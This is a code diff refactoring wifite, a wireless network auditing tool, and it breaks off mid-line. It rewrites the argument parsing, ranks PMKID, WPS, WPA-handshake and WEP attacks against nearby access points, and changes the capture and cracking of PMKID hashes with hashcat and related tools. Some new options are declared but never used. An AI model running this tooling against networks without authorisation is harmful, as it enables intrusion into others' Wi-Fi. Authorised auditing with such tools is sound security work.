optimizations')) + adv.add_argument('-fc', help=argparse.SUPPRESS, action='store_true', + dest='fast_capture') + + adv.add_argument('--pin-mode', action='store_true', dest='pin_mode', + help=Color.s('Enable {G}WPS PIN attack mode{W} with retry logic')) + adv.add_argument('-pm', help=argparse.SUPPRESS, action='store_true', + dest='pin_mode') + + adv.add_argument('--pin-timeout', action='store', dest='pin_timeout', + metavar='[seconds]', type=int, + help=Color.s('PIN attack timeout (default: {G}120s{W})')) + adv.add_argument('--pin-retries', action='store', dest='pin_retries', + metavar='[num]', type=int, + help=Color.s('PIN retry attempts (default: {G}5{W})')) + + adv.add_argument('--adaptive-timeout', action='store_true', + dest='adaptive_timeout', + help=Color.s('Use {G}adaptive timeout{W} for better results')) + + adv.add_argument('--parallel-attacks', action='store', dest='parallel_attacks', + metavar='[num]', type=int, default=2, + help=Color.s('Number of parallel attacks (default: {G}2{W})')) + + adv.add_argument('--enable-cache', action='store_true', dest='cache_results', + help=Color.s('Cache scan results for faster re-scans')) def _add_wep_args(self, wep): - # WEP - wep.add_argument('--wep', - action='store_true', - dest='wep_filter', + wep.add_argument('--wep', action='store_true', dest='wep_filter', help=Color.s('Show only {C}WEP-encrypted networks{W}')) - wep.add_argument('-wep', help=argparse.SUPPRESS, action='store_true', - dest='wep_filter') - - wep.add_argument('--require-fakeauth', - action='store_true', - dest='require_fakeauth', - help=Color.s('Fails attacks if {C}fake-auth{W} fails (default: {G}off{W})')) - wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', - dest='require_fakeauth') - wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', - dest='require_fakeauth') - - wep.add_argument('--keep-ivs', - action='store_true', - dest='wep_keep_ivs', - default=False, - help=Color.s('Retain .IVS files and reuse when cracking ' + - '(default: {G}off{W})')) - - wep.add_argument('--pps', - action='store', - dest='wep_pps', - metavar='[pps]', - type=int, - help=self._verbose('Packets-per-second to replay (default: ' + - '{G}%d pps{W})' % self.config.wep_pps)) - wep.add_argument('-pps', help=argparse.SUPPRESS, action='store', - dest='wep_pps', type=int) - - wep.add_argument('--wept', - action='store', - dest='wep_timeout', - metavar='[seconds]', - type=int, - help=self._verbose('Seconds to wait before failing (default: ' + - '{G}%d sec{W})' % self.config.wep_timeout)) - wep.add_argument('-wept', help=argparse.SUPPRESS, action='store', - dest='wep_timeout', type=int) - - wep.add_argument('--wepca', - action='store', - dest='wep_crack_at_ivs', - metavar='[ivs]', - type=int, - help=self._verbose('Start cracking at this many IVs (default: ' + - '{G}%d ivs{W})' % self.config.wep_crack_at_ivs)) - wep.add_argument('-wepca', help=argparse.SUPPRESS, action='store', - dest='wep_crack_at_ivs', type=int) - - wep.add_argument('--weprs', - action='store', - dest='wep_restart_stale_ivs', - metavar='[seconds]', - type=int, - help=self._verbose('Restart aireplay if no new IVs appear (default: ' + - '{G}%d sec{W})' % self.config.wep_restart_stale_ivs)) - wep.add_argument('-weprs', help=argparse.SUPPRESS, action='store', - dest='wep_restart_stale_ivs', type=int) - - wep.add_argument('--weprc', - action='store', - dest='wep_restart_aircrack', - metavar='[seconds]', - type=int, - help=self._verbose('Restart aircrack after this delay (default: ' + - '{G}%d sec{W})' % self.config.wep_restart_aircrack)) - wep.add_argument('-weprc', help=argparse.SUPPRESS, action='store', - dest='wep_restart_aircrack', type=int) - - wep.add_argument('--arpreplay', - action='store_true', - dest='wep_attack_replay', - help=self._verbose('Use {C}ARP-replay{W} WEP attack (default: {G}on{W})')) - wep.add_argument('-arpreplay', help=argparse.SUPPRESS, action='store_true', - dest='wep_attack_replay') - - wep.add_argument('--fragment', - action='store_true', - dest='wep_attack_fragment', - help=self._verbose('Use {C}fragmentation{W} WEP attack (default: {G}on{W})')) - wep.add_argument('-fragment', help=argparse.SUPPRESS, action='store_true', - dest='wep_attack_fragment') - - wep.add_argument('--chopchop', - action='store_true', - dest='wep_attack_chopchop', - help=self._verbose('Use {C}chop-chop{W} WEP attack (default: {G}on{W})')) - wep.add_argument('-chopchop', help=argparse.SUPPRESS, action='store_true', - dest='wep_attack_chopchop') - - wep.add_argument('--caffelatte', - action='store_true', - dest='wep_attack_caffe', - help=self._verbose('Use {C}caffe-latte{W} WEP attack (default: {G}on{W})')) - wep.add_argument('-caffelatte', help=argparse.SUPPRESS, action='store_true', - dest='wep_attack_caffelatte') - - wep.add_argument('--p0841', - action='store_true', - dest='wep_attack_p0841', - help=self._verbose('Use {C}p0841{W} WEP attack (default: {G}on{W})')) - wep.add_argument('-p0841', help=argparse.SUPPRESS, action='store_true', - dest='wep_attack_p0841') - - wep.add_argument('--hirte', - action='store_true', - dest='wep_attack_hirte', - help=self._verbose('Use {C}hirte{W} WEP attack (default: {G}on{W})')) - wep.add_argument('-hirte', help=argparse.SUPPRESS, action='store_true', - dest='wep_attack_hirte') + wep.add_argument('--pps', action='store', dest='wep_pps', + metavar='[pps]', type=int, + help=self._verbose('Packets-per-second')) + + wep.add_argument('--wept', action='store', dest='wep_timeout', + metavar='[seconds]', type=int, + help=self._verbose('WEP attack timeout')) def _add_wpa_args(self, wpa): - wpa.add_argument('--wpa', - action='store_true', - dest='wpa_filter', - help=Color.s('Show only {C}WPA-encrypted networks{W} (includes {C}WPS{W})')) - wpa.add_argument('-wpa', help=argparse.SUPPRESS, action='store_true', - dest='wpa_filter') - - wpa.add_argument('--hs-dir', - action='store', - dest='wpa_handshake_dir', - metavar='[dir]', - type=str, - help=self._verbose('Directory to store handshake files ' + - '(default: {G}%s{W})' % self.config.wpa_handshake_dir)) - wpa.add_argument('-hs-dir', help=argparse.SUPPRESS, action='store', - dest='wpa_handshake_dir', type=str) - - wpa.add_argument('--new-hs', - action='store_true', - dest='ignore_old_handshakes', - help=Color.s('Captures new handshakes, ignores existing handshakes ' + - 'in {C}%s{W} (default: {G}off{W})' % self.config.wpa_handshake_dir)) - - wpa.add_argument('--dict', - action='store', - dest='wordlist', - metavar='[file]', - type=str, - help=Color.s('File containing passwords for cracking (default: {G}%s{W})') - % self.config.wordlist) - - wpa.add_argument('--wpadt', - action='store', - dest='wpa_deauth_timeout', - metavar='[seconds]', - type=int, - help=self._verbose('Time to wait between sending Deauths ' + - '(default: {G}%d sec{W})' % self.config.wpa_deauth_timeout)) - wpa.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', - dest='wpa_deauth_timeout', type=int) - - wpa.add_argument('--wpat', - action='store', - dest='wpa_attack_timeout', - metavar='[seconds]', - type=int, - help=self._verbose('Time to wait before failing WPA attack ' + - '(default: {G}%d sec{W})' % self.config.wpa_attack_timeout)) - wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store', - dest='wpa_attack_timeout', type=int) - - # TODO: Uncomment the --strip option once it works - ''' - wpa.add_argument('--strip', - action='store_true', - dest='wpa_strip_handshake', - default=False, - help=Color.s('Strip unnecessary packets from handshake capture using tshark')) - ''' - wpa.add_argument('-strip', help=argparse.SUPPRESS, action='store_true', - dest='wpa_strip_handshake') + wpa.add_argument('--wpa', action='store_true', dest='wpa_filter', + help=Color.s('Show only {C}WPA-encrypted networks{W}')) + + wpa.add_argument('--dict', action='store', dest='wordlist', + metavar='[file]', type=str, + help=Color.s('Wordlist for cracking')) + wpa.add_argument('--wpat', action='store', dest='wpa_attack_timeout', + metavar='[seconds]', type=int, + help=self._verbose('WPA attack timeout')) def _add_wps_args(self, wps): - wps.add_argument('--wps', - action='store_true', - dest='wps_filter', + wps.add_argument('--wps', action='store_true', dest='wps_filter', help=Color.s('Show only {C}WPS-enabled networks{W}')) - wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', - dest='wps_filter') - - wps.add_argument('--no-wps', - action='store_true', - dest='no_wps', - help=self._verbose('{O}Never{W} use {O}WPS PIN{W} & {O}Pixie-Dust{W}' + - 'attacks on targets (default: {G}off{W})')) - - wps.add_argument('--wps-only', - action='store_true', - dest='wps_only', - help=Color.s('{O}Only{W} use {C}WPS PIN{W} & {C}Pixie-Dust{W} ' + - 'attacks (default: {G}off{W})')) - - wps.add_argument('--pixie', action='store_true', dest='wps_pixie', - help=self._verbose('{O}Only{W} use {C}WPS Pixie-Dust{W} attack ' + - '(do not use {O}PIN attack{W})')) - - wps.add_argument('--no-pixie', action='store_true', dest='wps_no_pixie', - help=self._verbose('{O}Never{W} use {O}WPS Pixie-Dust{W} attack ' + - '(use {G}PIN attack{W})')) - - wps.add_argument('--bully', - action='store_true', - dest='use_bully', - help=Color.s('Use {G}bully{W} program for WPS PIN & Pixie-Dust attacks ' + - '(default: {G}reaver{W})')) - # Alias - wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', - dest='use_bully') - - # Ignore lock-outs - wps.add_argument('--ignore-locks', action='store_true', dest='wps_ignore_lock', - help=Color.s('Do {O}not{W} stop WPS PIN attack if AP becomes {O}locked{W} ' + - ' (default: {G}stop{W})')) - - # Time limit on entire attack. - wps.add_argument('--wps-time', - action='store', - dest='wps_pixie_timeout', - metavar='[sec]', - type=int, - help=self._verbose('Total time to wait before failing PixieDust attack ' + - '(default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) - # Alias - wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', - dest='wps_pixie_timeout', type=int) - - # Maximum number of 'failures' (WPSFail) - wps.add_argument('--wps-fails', - action='store', - dest='wps_fail_threshold', - metavar='[num]', - type=int, - help=self._verbose('Maximum number of WPSFail/NoAssoc errors before ' + - 'failing (default: {G}%d{W})' % self.config.wps_fail_threshold)) - # Alias - wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', - dest='wps_fail_threshold', type=int) - - # Maximum number of 'timeouts' - wps.add_argument('--wps-timeouts', - action='store', - dest='wps_timeout_threshold', - metavar='[num]', - type=int, - help=self._verbose('Maximum number of Timeouts before failing ' + - '(default: {G}%d{W})' % self.config.wps_timeout_threshold)) - # Alias - wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', - dest='wps_timeout_threshold', type=int) + + wps.add_argument('--no-wps', action='store_true', dest='no_wps', + help=self._verbose('Never use WPS attacks')) + + wps.add_argument('--wps-only', action='store_true', dest='wps_only', + help=Color.s('{O}Only{W} use {C}WPS{W} attacks')) + + wps.add_argument('--pixie', action='store_true', dest='wps_pixie', + help=self._verbose('Only WPS Pixie-Dust')) + + wps.add_argument('--wps-time', action='store', dest='wps_pixie_timeout', + metavar='[sec]', type=int, + help=self._verbose('WPS timeout')) def _add_pmkid_args(self, pmkid): - pmkid.add_argument('--pmkid', - action='store_true', - dest='use_pmkid_only', - help=Color.s('{O}Only{W} use {C}PMKID capture{W}, avoids other WPS & ' + - 'WPA attacks (default: {G}off{W})')) - # Alias - pmkid.add_argument('-pmkid', help=argparse.SUPPRESS, action='store_true', dest='use_pmkid_only') - - pmkid.add_argument('--pmkid-timeout', - action='store', - dest='pmkid_timeout', - metavar='[sec]', - type=int, - help=Color.s('Time to wait for PMKID capture ' + - '(default: {G}%d{W} seconds)' % self.config.pmkid_timeout)) + pmkid.add_argument('--pmkid', action='store_true', dest='use_pmkid_only', + help=Color.s('{O}Only{W} use {C}PMKID{W} attack')) def _add_command_args(self, commands): - commands.add_argument('--cracked', - action='store_true', - dest='cracked', - help=Color.s('Print previously-cracked access points')) - commands.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', - dest='cracked') - - commands.add_argument('--check', - action='store', - metavar='file', - nargs='?', - const='', - dest='check_handshake', - help=Color.s('Check a {C}.cap file{W} (or all {C}hs/*.cap{W} files) ' + - 'for WPA handshakes')) - commands.add_argument('-check', help=argparse.SUPPRESS, action='store', - nargs='?', const='', dest='check_handshake') - - commands.add_argument('--crack', - action='store_true', + commands.add_argument('--cracked', action='store_true', dest='cracked', + help=Color.s('Print cracked access points')) + + commands.add_argument('--check', action='store', metavar='file', + nargs='?', const='', dest='check_handshake', + help=Color.s('Check handshakes')) + + commands.add_argument('--crack', action='store_true', dest='crack_handshake', - help=Color.s('Show commands to crack a captured handshake')) + help=Color.s('Crack captured handshake')) if __name__ == '__main__': from .util.color import Color @@ -474,6 +163,5 @@ def _add_command_args(self, commands): Configuration.initialize(False) a = Arguments(Configuration) args = a.args - for (key,value) in sorted(args.__dict__.items()): - Color.pl('{C}%s: {G}%s{W}' % (key.ljust(21),value)) - + for (key, value) in sorted(args.__dict__.items()): + Color.pl('{C}%s: {G}%s{W}' % (key.ljust(21), value)) diff --git a/wifite/attack/all.py b/wifite/attack/all.py index 6db4d3718..ff89dce79 100755 --- a/wifite/attack/all.py +++ b/wifite/attack/all.py @@ -7,44 +7,77 @@ from .pmkid import AttackPMKID from ..config import Configuration from ..util.color import Color +import logging +from collections import defaultdict + +logger = logging.getLogger(__name__) class AttackAll(object): + """Intelligent attack orchestration with priority management""" + + # Attack priority scoring + ATTACK_PRIORITY = { + 'PMKID': 90, # Fastest, highest priority + 'WPS_PIXIE': 80, # Fast WPS attack + 'WPS_PIN': 70, # Slower WPS attack + 'WPA_HS': 50, # Handshake capture + 'WEP': 40, # Slowest + } @classmethod def attack_multiple(cls, targets): - ''' - Attacks all given `targets` (list[wifite.model.target]) until user interruption. - Returns: Number of targets that were attacked (int) - ''' + '''Attacks multiple targets with intelligent prioritization''' + if any(t.wps for t in targets) and not AttackWPS.can_attack_wps(): - # Warn that WPS attacks are not available. - Color.pl('{!} {O}Note: WPS attacks are not possible because you do not have {C}reaver{O} nor {C}bully{W}') + Color.pl('{!} {O}WPS attacks unavailable: missing reaver/bully{W}') + Color.pl('{+} {G}Starting attacks on {W}{C}%d{W}{G} target(s){W}' % len(targets)) attacked_targets = 0 - targets_remaining = len(targets) + + # Sort targets by signal strength + targets = sorted(targets, key=lambda t: t.power, reverse=True) + for index, target in enumerate(targets, start=1): attacked_targets += 1 - targets_remaining -= 1 + targets_remaining = len(targets) - index bssid = target.bssid - essid = target.essid if target.essid_known else '{O}ESSID unknown{W}' + essid = target.essid if target.essid_known else '{O}Unknown{W}' + signal = target.power - Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) + - ' Starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid)) + Color.pl('\n{+} ({G}%d{W}/{G}%d{W}) Attacking {C}%s{W} ({C}%s{W}) [{G}%d dBm{W}]' + % (index, len(targets), bssid, essid, signal)) should_continue = cls.attack_single(target, targets_remaining) if not should_continue: break + Color.pl('\n{+} {G}Attack complete: {W}{C}%d{W}{G} target(s) attacked{W}' + % attacked_targets) return attacked_targets @classmethod def attack_single(cls, target, targets_remaining): - ''' - Attacks a single `target` (wifite.model.target). - Returns: True if attacks should continue, False otherwise. - ''' + '''Attacks single target with intelligent attack selection''' + + attacks = cls._build_attack_queue(target) + + if len(attacks) == 0: + Color.pl('{!} {R}No attacks available for {W}{C}%s{W}' % target.essid) + return True + + Color.pl('{+} {G}Queued {W}{C}%d{W}{G} attack(s){W}' % len(attacks)) + + # Display attack queue + for idx, (priority, attack_name, attack_obj) in enumerate(attacks, 1): + Color.pl(' {G}%d{W}. {C}%s{W} (priority: {C}%d{W})' + % (idx, attack_name, priority)) + return cls._execute_attack_queue(attacks, target, targets_remaining) + + @classmethod + def _build_attack_queue(cls, target): + '''Build prioritized attack queue for target''' attacks = [] if Configuration.use_eviltwin: @@ -52,98 +85,109 @@ def attack_single(cls, target, targets_remaining): pass elif 'WEP' in target.encryption: - attacks.append(AttackWEP(target)) + attacks.append((cls.ATTACK_PRIORITY['WEP'], 'WEP', AttackWEP(target))) elif 'WPA' in target.encryption: - # WPA can have multiple attack vectors: - - # WPS + # WPA attack prioritization + if not Configuration.use_pmkid_only: if target.wps != False and AttackWPS.can_attack_wps(): - # Pixie-Dust + # Pixie-Dust first (faster) if Configuration.wps_pixie: - attacks.append(AttackWPS(target, pixie_dust=True)) + attacks.append(( + cls.ATTACK_PRIORITY['WPS_PIXIE'], + 'WPS Pixie-Dust', + AttackWPS(target, pixie_dust=True) + )) - # PIN attack + # PIN second if Configuration.wps_pin: - attacks.append(AttackWPS(target, pixie_dust=False)) + attacks.append(( + cls.ATTACK_PRIORITY['WPS_PIN'], + 'WPS PIN', + AttackWPS(target, pixie_dust=False) + )) if not Configuration.wps_only: - # PMKID - attacks.append(AttackPMKID(target)) - - # Handshake capture + # PMKID before handshake (faster) + attacks.append(( + cls.ATTACK_PRIORITY['PMKID'], + 'PMKID', + AttackPMKID(target) + )) + + # Handshake capture (slowest) if not Configuration.use_pmkid_only: - attacks.append(AttackWPA(target)) + attacks.append(( + cls.ATTACK_PRIORITY['WPA_HS'], + 'WPA Handshake', + AttackWPA(target) + )) - if len(attacks) == 0: - Color.pl('{!} {R}Error: {O}Unable to attack: no attacks available') - return True # Keep attacking other targets (skip) + # Sort by priority (highest first) + attacks.sort(key=lambda x: x[0], reverse=True) + return attacks + @classmethod + def _execute_attack_queue(cls, attacks, target, targets_remaining): + '''Execute attack queue with error handling''' + while len(attacks) > 0: - attack = attacks.pop(0) + priority, attack_name, attack = attacks.pop(0) + try: + Color.pl('\n{+} {G}Executing: {W}{C}%s{W}' % attack_name) result = attack.run() + if result: - break # Attack was successful, stop other attacks. - except Exception as e: - Color.pexception(e) - continue + Color.pl('{+} {G}Success! {W}Attack completed.') + if attack.success and hasattr(attack, 'crack_result'): + attack.crack_result.save() + break # Attack successful + except KeyboardInterrupt: - Color.pl('\n{!} {O}Interrupted{W}\n') - answer = cls.user_wants_to_continue(targets_remaining, len(attacks)) + Color.pl('\n{!} {O}Interrupted{W}') + answer = cls._handle_interruption(attack_name, targets_remaining, len(attacks)) + if answer is True: - continue # Keep attacking the same target (continue) + continue # Continue with next attack elif answer is None: - return True # Keep attacking other targets (skip) + return True # Skip to next target else: - return False # Stop all attacks (exit) + return False # Exit all attacks - if attack.success: - attack.crack_result.save() - - return True # Keep attacking other targets + except Exception as e: + Color.pl('{!} {R}Error: {O}%s{W}' % str(e)) + logger.exception("Attack error") + continue + return True @classmethod - def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0): - ''' - Asks user if attacks should continue onto other targets - Returns: - True if user wants to continue, False otherwise. - ''' + def _handle_interruption(cls, current_attack, targets_remaining, attacks_remaining): + '''Handle user interruption with options''' + if attacks_remaining == 0 and targets_remaining == 0: - return # No targets or attacksleft, drop out + return None - prompt_list = [] + Color.pl('{+} {G}Interrupt Options:{W}') + + options_list = [] if attacks_remaining > 0: - prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining)) + options_list.append('{G}C{W}ontinue with next attack') if targets_remaining > 0: - prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining)) - prompt = ' and '.join(prompt_list) + ' remain' - Color.pl('{+} %s' % prompt) + options_list.append('{O}S{W}kip to next target') + options_list.append('{R}E{W}xit all attacks') - prompt = '{+} Do you want to' - options = '(' - - if attacks_remaining > 0: - prompt += ' {G}continue{W} attacking,' - options += '{G}C{W}{D}, {W}' - - if targets_remaining > 0: - prompt += ' {O}skip{W} to the next target,' - options += '{O}s{W}{D}, {W}' - - options += '{R}e{W})' - prompt += ' or {R}exit{W} %s? {C}' % options + for idx, option in enumerate(options_list, 1): + Color.pl(' {G}%d{W}. %s' % (idx, option)) from ..util.input import raw_input - answer = raw_input(Color.s(prompt)).lower() + answer = raw_input(Color.s('{?} Select option: {W}')).lower().strip() - if answer.startswith('s'): - return None # Skip - elif answer.startswith('e'): - return False # Exit + if answer.startswith('c'): + return True + elif answer.startswith('s'): + return None else: - return True # Continue - + return False diff --git a/wifite/attack/pmkid.py b/wifite/attack/pmkid.py index 01f3680a5..c625b87d8 100755 --- a/wifite/attack/pmkid.py +++ b/wifite/attack/pmkid.py @@ -12,202 +12,227 @@ import os import time import re +import logging +logger = logging.getLogger(__name__) class AttackPMKID(Attack): + """Enhanced PMKID attack with adaptive timeouts and better error handling""" + + # Adaptive timeout settings + MIN_TIMEOUT = 30 + MAX_TIMEOUT = 300 + INITIAL_TIMEOUT = 120 + + # Monitoring settings + CHECK_INTERVAL = 0.5 # seconds + STALE_THRESHOLD = 5 # seconds without new PMKID attempts def __init__(self, target): super(AttackPMKID, self).__init__(target) self.crack_result = None self.success = False self.pcapng_file = Configuration.temp('pmkid.pcapng') - + self.adaptive_timeout = self.INITIAL_TIMEOUT + self.capture_start_time = None def get_existing_pmkid_file(self, bssid): - ''' - Load PMKID Hash from a previously-captured hash in ./hs/ - Returns: - The hashcat hash (hash*bssid*station*essid) if found. - None if not found. - ''' + '''Load PMKID Hash from previously-captured hash''' if not os.path.exists(Configuration.wpa_handshake_dir): return None - bssid = bssid.lower().replace(':', '') - + bssid_clean = bssid.lower().replace(':', '') file_re = re.compile('.*pmkid_.*\.16800') - for filename in os.listdir(Configuration.wpa_handshake_dir): - pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename) - if not os.path.isfile(pmkid_filename): - continue - if not re.match(file_re, pmkid_filename): - continue - - with open(pmkid_filename, 'r') as pmkid_handle: - pmkid_hash = pmkid_handle.read().strip() - if pmkid_hash.count('*') < 3: + + try: + for filename in os.listdir(Configuration.wpa_handshake_dir): + pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename) + + if not os.path.isfile(pmkid_filename): + continue + if not re.match(file_re, pmkid_filename): continue - existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '') - if existing_bssid == bssid: - return pmkid_filename - return None + with open(pmkid_filename, 'r') as pmkid_handle: + pmkid_hash = pmkid_handle.read().strip() + if pmkid_hash.count('*') < 3: + continue + + existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '') + if existing_bssid == bssid_clean: + Color.pl('{+} {G}Found existing PMKID: {C}%s{W}' % pmkid_filename) + return pmkid_filename + except Exception as e: + logger.warning("Error loading existing PMKID: %s" % str(e)) + + return None def run(self): - ''' - Performs PMKID attack, if possible. - 1) Captures PMKID hash (or re-uses existing hash if found). - 2) Cracks the hash. - - Returns: - True if handshake is captured. False otherwise. - ''' + '''Performs PMKID attack with improved error handling''' from ..util.process import Process - # Check that we have all hashcat programs + + # Dependency check dependencies = [ Hashcat.dependency_name, HcxDumpTool.dependency_name, HcxPcapTool.dependency_name ] missing_deps = [dep for dep in dependencies if not Process.exists(dep)] + if len(missing_deps) > 0: - Color.pl('{!} Skipping PMKID attack, missing required tools: {O}%s{W}' % ', '.join(missing_deps)) + Color.pl('{!} Skipping PMKID attack, missing: {O}%s{W}' % ', '.join(missing_deps)) return False pmkid_file = None + # Try to load existing PMKID if Configuration.ignore_old_handshakes == False: - # Load exisitng PMKID hash from filesystem pmkid_file = self.get_existing_pmkid_file(self.target.bssid) - if pmkid_file is not None: - Color.pattack('PMKID', self.target, 'CAPTURE', - 'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file) + # Capture new PMKID if needed if pmkid_file is None: - # Capture hash from live target. - pmkid_file = self.capture_pmkid() + pmkid_file = self._capture_pmkid_with_retry() if pmkid_file is None: - return False # No hash found. + return False - # Crack it. + # Crack the PMKID try: self.success = self.crack_pmkid_file(pmkid_file) except KeyboardInterrupt: - Color.pl('\n{!} {R}Failed to crack PMKID: {O}Cracking interrupted by user{W}') + Color.pl('\n{!} {R}Interrupted{W}') self.success = False return False - return True # Even if we don't crack it, capturing a PMKID is 'successful' + return True + def _capture_pmkid_with_retry(self, max_attempts=2): + """Capture PMKID with retry logic""" + for attempt in range(max_attempts): + Color.pl('{+} {G}PMKID Capture Attempt {W}{C}%d/%d{W}' + % (attempt + 1, max_attempts)) + + pmkid_file = self.capture_pmkid() + if pmkid_file is not None: + return pmkid_file + + if attempt < max_attempts - 1: + Color.pl('{!} Retrying in 10 seconds...') + time.sleep(10) + + return None def capture_pmkid(self): - ''' - Runs hashcat's hcxpcaptool to extract PMKID hash from the .pcapng file. - Returns: - The PMKID hash (str) if found, otherwise None. - ''' + '''Captures PMKID hash with monitoring''' self.keep_capturing = True - self.timer = Timer(Configuration.pmkid_timeout) + self.timer = Timer(self.adaptive_timeout) + self.capture_start_time = time.time() + last_check = time.time() - # Start hcxdumptool - t = Thread(target=self.dumptool_thread) - t.start() + # Start hcxdumptool in background + dumptool_thread = Thread(target=self.dumptool_thread) + dumptool_thread.daemon = True + dumptool_thread.start() - # Repeatedly run pcaptool & check output for hash for self.target.essid + # Repeatedly check for PMKID hash pmkid_hash = None pcaptool = HcxPcapTool(self.target) + check_count = 0 + while self.timer.remaining() > 0: - pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file) - if pmkid_hash is not None: - break # Got PMKID - - Color.pattack('PMKID', self.target, 'CAPTURE', - 'Waiting for PMKID ({C}%s{W})' % str(self.timer)) - time.sleep(1) + try: + pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file) + if pmkid_hash is not None: + break + + check_count += 1 + if check_count % 4 == 0: # Show status every 2 seconds + elapsed = time.time() - self.capture_start_time + Color.pattack('PMKID', self.target, 'CAPTURE', + 'Listening ({C}%.1fs{W}/{C}%.1fs{W})' + % (elapsed, self.timer.remaining())) + + time.sleep(self.CHECK_INTERVAL) + + except Exception as e: + logger.warning("Error checking PMKID: %s" % str(e)) + time.sleep(1) self.keep_capturing = False if pmkid_hash is None: - Color.pattack('PMKID', self.target, 'CAPTURE', - '{R}Failed{O} to capture PMKID\n') - Color.pl('') - return None # No hash found. + Color.pattack('PMKID', self.target, 'CAPTURE', '{R}Failed{W}') + return None Color.clear_entire_line() - Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}') + Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured{W}') pmkid_file = self.save_pmkid(pmkid_hash) return pmkid_file - def crack_pmkid_file(self, pmkid_file): - ''' - Runs hashcat containing PMKID hash (*.16800). - If cracked, saves results in self.crack_result - Returns: - True if cracked, False otherwise. - ''' - - # Check that wordlist exists before cracking. + '''Cracks PMKID with improved error handling''' if Configuration.wordlist is None: - Color.pl('\n{!} {O}Not cracking PMKID ' + - 'because there is no {R}wordlist{O} (re-run with {C}--dict{O})') - - # TODO: Uncomment once --crack is updated to support recracking PMKIDs. - #Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.') + Color.pl('{!} {O}Not cracking PMKID: no wordlist specified{W}') + return False - key = None - else: + try: Color.clear_entire_line() - Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID using {C}%s{W} ...\n' % Configuration.wordlist) + Color.pattack('PMKID', self.target, 'CRACK', + 'Cracking with {C}%s{W}...\n' % os.path.basename(Configuration.wordlist)) + key = Hashcat.crack_pmkid(pmkid_file) - if key is None: - # Failed to crack. - if Configuration.wordlist is not None: + if key is None: Color.clear_entire_line() Color.pattack('PMKID', self.target, '{R}CRACK', - '{R}Failed {O}Passphrase not found in dictionary.\n') + '{R}Failed{O} - Key not in wordlist\n{W}') + return False + else: + Color.clear_entire_line() + Color.pattack('PMKID', self.target, '{G}CRACKED', '{C}Key: {G}%s{W}\n' % key) + self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, + pmkid_file, key) + self.crack_result.dump() + return True + + except Exception as e: + logger.exception("Error cracking PMKID: %s" % str(e)) + Color.pl('{!} {R}Cracking error: {O}%s{W}' % str(e)) return False - else: - # Successfully cracked. - Color.clear_entire_line() - Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}' % key) - self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, - pmkid_file, key) - Color.pl('\n') - self.crack_result.dump() - return True - def dumptool_thread(self): - '''Runs hashcat's hcxdumptool until it dies or `keep_capturing == False`''' - dumptool = HcxDumpTool(self.target, self.pcapng_file) - - # Let the dump tool run until we have the hash. - while self.keep_capturing and dumptool.poll() is None: - time.sleep(0.5) + '''Runs hcxdumptool until completion or stop signal''' + try: + dumptool = HcxDumpTool(self.target, self.pcapng_file) - dumptool.interrupt() + while self.keep_capturing and dumptool.poll() is None: + time.sleep(0.5) + dumptool.interrupt() + except Exception as e: + logger.warning("Dumptool error: %s" % str(e)) def save_pmkid(self, pmkid_hash): - '''Saves a copy of the pmkid (handshake) to hs/ directory.''' - # Create handshake dir + '''Saves PMKID hash to filesystem''' if not os.path.exists(Configuration.wpa_handshake_dir): os.makedirs(Configuration.wpa_handshake_dir) - # Generate filesystem-safe filename from bssid, essid and date essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid) bssid_safe = self.target.bssid.replace(':', '-') date = time.strftime('%Y-%m-%dT%H-%M-%S') pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date) pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file) - Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file) - with open(pmkid_file, 'w') as pmkid_handle: - pmkid_handle.write(pmkid_hash) - pmkid_handle.write('\n') + Color.p('\n{+} Saving PMKID to {C}%s{W} ' % pmkid_file) + + try: + with open(pmkid_file, 'w') as pmkid_handle: + pmkid_handle.write(pmkid_hash) + pmkid_handle.write('\n') + Color.pl('{G}saved{W}') + except Exception as e: + logger.exception("Error saving PMKID: %s" % str(e)) + Color.pl('{R}failed{W}') + return None return pmkid_file - diff --git a/wifite/attack/wpa.py b/wifite/attack/wpa.py index 199965bbd..9a372298a 100755 --- a/wifite/attack/wpa.py +++ b/wifite/attack/wpa.py @@ -16,249 +16,259 @@ import os import re from shutil import copy +import logging + +logger = logging.getLogger(__name__) class AttackWPA(Attack): + """Enhanced WPA attack with adaptive timeouts and better deauth strategy""" + + # Adaptive timing + MIN_DEAUTH_INTERVAL = 5 + MAX_DEAUTH_INTERVAL = 15 + DEAUTH_BACKOFF = 1.5 + HANDSHAKE_CHECK_INTERVAL = 2 + def __init__(self, target): super(AttackWPA, self).__init__(target) self.clients = [] self.crack_result = None self.success = False + self.adaptive_deauth_interval = 